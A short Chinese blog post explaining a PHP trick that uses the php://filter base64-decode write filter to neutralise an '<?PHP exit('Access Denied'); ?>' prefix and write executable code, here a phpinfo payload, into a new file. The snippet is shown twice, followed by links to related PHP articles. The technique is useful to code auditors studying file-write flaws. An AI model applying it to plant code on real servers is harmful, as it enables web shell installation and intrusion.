绕过 <?PHP exit('Access Denied'); ?> 限制
2015-06-10 18:32
1011 查看
绕过 <?PHP exit('Access Denied'); ?> 限制
<?php
$shellcode='PD9waHBpbmZvKCk7Pz4';// base64_decode <?phpinfo();?>
$endstr='s';
$timestamp=$endstr.$shellcode;
file_put_contents("php://filter/write=convert.base64-decode/resource=ryat.php","<?PHP exit('Access Denied'); ?>\t$timestamp");
?>
利用base64产生乱码可以生成:
<s奁+@q乾? 鏩<?phpinfo();?>
就绕过了exit()限制,真厉害呀
<?php
$shellcode='PD9waHBpbmZvKCk7Pz4';// base64_decode <?phpinfo();?>
$endstr='s';
$timestamp=$endstr.$shellcode;
file_put_contents("php://filter/write=convert.base64-decode/resource=ryat.php","<?PHP exit('Access Denied'); ?>\t$timestamp");
?>
利用base64产生乱码可以生成:
<s奁+@q乾? 鏩<?phpinfo();?>
就绕过了exit()限制,真厉害呀
相关文章推荐
- 深入浅出讲解:php的socket通信[转]
- php代码审计工具
- 安装 vsftp
- xsser.me - keepsession.php
- php正则表达式—实战
- php正则表达式—修正模式
- php简单图像创建入门实例
- THINKPHP 3.1.x 集成微信支付
- WINDOWS 命令行下执行PHP程序
- PHP也20岁了
- thinkPHP 由生成模式变为开发模式
- php扩展开发笔记(5)一些数组操作相关的宏和简单示例
- PHP生成八位随机字符串
- PHP网络操作函数汇总
- PHP IDE phpstorm 常用快捷键
- laravel 5.0 artisan 命令列表(中文简体)
- xampp1.8.3 配置 php5.x 访问 SQL Server 2008
- PHP垃圾回收机制引用计数器概念
- PHP中的一些常用函数
- php调试函数